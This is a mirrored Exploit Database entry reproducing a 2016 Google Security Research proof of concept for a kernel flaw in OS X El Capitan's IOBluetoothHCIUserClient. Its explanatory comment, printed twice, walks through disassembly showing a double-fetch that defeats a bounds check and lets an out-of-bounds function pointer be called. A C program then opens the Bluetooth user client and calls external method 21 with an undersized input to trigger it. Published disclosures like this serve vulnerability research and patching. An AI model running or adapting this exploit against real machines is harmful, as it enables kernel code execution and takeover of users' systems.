Apple Mac OSX – ‘IOBluetoothHCIUserClient’ Arbitrary Kernel Code Execution

• Exploit Database
• 19 阅读

• 作者： Google Security Research
  日期： 2016-01-28
• 类别：

  • dos
  平台：

  • osx
• 来源：https://www.exploit-db.com/exploits/39372/

• /*
  Source: https://code.google.com/p/google-security-research/issues/detail?id=569
  
  IOBluetoothHCIUserClient uses an IOCommandGate to dispatch external methods; it passes a pointer to the structInput
  of the external method as arg0 and ::SimpleDispatchWL as the Action. It neither passes nor checks the size of that structInput,
  and SimpleDispatchWL goes on to read the field at +0x70 of the structInput:
  
  __text:00000000000118EB mov esi, [rbx+70h]<-- rbx is structInput, size never checked so +0x70 can be OOB
  __text:00000000000118EE testesi, esi
  __text:00000000000118F0 mov r13d, 0E00002C7h
  __text:00000000000118F6 jsloc_11C5B <-- fail if negative
  __text:00000000000118FC lea rdx, _sRoutineCount
  __text:0000000000011903 cmp esi, [rdx]
  __text:0000000000011905 jge loc_11C5B <-- fail if >= number of routines
  
  This alone would be uninteresting, except that there is another fetch from rbx+0x70 which assumes the value hasn't changed:
  
  __text:0000000000011995 movsxdrax, dword ptr [rbx+70h] <-- fetch OOB again
  __text:0000000000011999 mov rcx, rax
  __text:000000000001199C shl rcx, 4
  __text:00000000000119A0 lea rdx, _sRoutines
  __text:00000000000119A7 mov r14d, [rdx+rcx+8]
  __text:00000000000119AC cmp r14d, 7
  __text:00000000000119B0 mov r13d, 0E00002C2h
  __text:00000000000119B6 jaloc_11C5B<-- test that sRoutines[OOB].nParams is <= 7
  __text:00000000000119BC mov rcx, [rdx+rcx]
  __text:00000000000119C0 mov [rbp+var_40], rcx<-- save sRoutines[OOB].fptr into var_40
  
  the code then sets the required registers/stack entries for the number of parameters and calls var_40:
  
  __text:0000000000011B77 mov rdi, r15
  __text:0000000000011B7A call[rbp+var_40]
  
  Therefore, by being able to change what follows the mach message corrisponding to this external method call in memory between the checks at +0x118eb
  and the second fetch at +0x11995 we can defeat the bounds check and get a function pointer read out of bounds and called.
  
  Tested on OS X ElCapitan 10.11 (15A284) on MacBookAir 5,2
  
  Strongly recommended to use the gazalloc boot args as shown above to repro this!
  */
  
  // ianbeer
  // build: clang -o bluehci_oob_demux bluehci_oob_demux.c -framework IOKit
  // boot-args: debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300
  
  /*
  Lack of bounds checking in IOBluetoothHCIUserClient external method dispatching allows arbitrary kernel code execution
  
  IOBluetoothHCIUserClient uses an IOCommandGate to dispatch external methods; it passes a pointer to the structInput
  of the external method as arg0 and ::SimpleDispatchWL as the Action. It neither passes nor checks the size of that structInput,
  and SimpleDispatchWL goes on to read the field at +0x70 of the structInput:
  
  __text:00000000000118EB mov esi, [rbx+70h]<-- rbx is structInput, size never checked so +0x70 can be OOB
  __text:00000000000118EE testesi, esi
  __text:00000000000118F0 mov r13d, 0E00002C7h
  __text:00000000000118F6 jsloc_11C5B <-- fail if negative
  __text:00000000000118FC lea rdx, _sRoutineCount
  __text:0000000000011903 cmp esi, [rdx]
  __text:0000000000011905 jge loc_11C5B <-- fail if >= number of routines
  
  This alone would be uninteresting, except that there is another fetch from rbx+0x70 which assumes the value hasn't changed:
  
  __text:0000000000011995 movsxdrax, dword ptr [rbx+70h] <-- fetch OOB again
  __text:0000000000011999 mov rcx, rax
  __text:000000000001199C shl rcx, 4
  __text:00000000000119A0 lea rdx, _sRoutines
  __text:00000000000119A7 mov r14d, [rdx+rcx+8]
  __text:00000000000119AC cmp r14d, 7
  __text:00000000000119B0 mov r13d, 0E00002C2h
  __text:00000000000119B6 jaloc_11C5B<-- test that sRoutines[OOB].nParams is <= 7
  __text:00000000000119BC mov rcx, [rdx+rcx]
  __text:00000000000119C0 mov [rbp+var_40], rcx<-- save sRoutines[OOB].fptr into var_40
  
  the code then sets the required registers/stack entries for the number of parameters and calls var_40:
  
  __text:0000000000011B77 mov rdi, r15
  __text:0000000000011B7A call[rbp+var_40]
  
  Therefore, by being able to change what follows the mach message corrisponding to this external method call in memory between the checks at +0x118eb
  and the second fetch at +0x11995 we can defeat the bounds check and get a function pointer read out of bounds and called.
  
  Tested on OS X ElCapitan 10.11 (15A284) on MacBookAir 5,2
  
  Strongly recommended to use the gazalloc boot args as shown above to repro this!
  */
  
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  
  #include <IOKit/IOKitLib.h>
  
  int main(int argc, char** argv){
  kern_return_t err;
  
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController"));
  
  if (service == IO_OBJECT_NULL){
  printf("unable to find service\n");
  return 0;
  }
  
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
  printf("unable to get user client connection\n");
  return 0;
  }
  
  uint64_t inputScalar[16];
  uint64_t inputScalarCnt = 0;
  
  char inputStruct[4096];
  size_t inputStructCnt = 1;
  memset(inputStruct, 'A', inputStructCnt);
  
  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;
  
  char outputStruct[4096];
  size_t outputStructCnt = 0;
  
  err = IOConnectCallMethod(
  conn,
  21,
  inputScalar,
  inputScalarCnt,
  inputStruct,
  inputStructCnt,
  outputScalar,
  &outputScalarCnt,
  outputStruct,
  &outputStructCnt); 
  
  return 0;
  }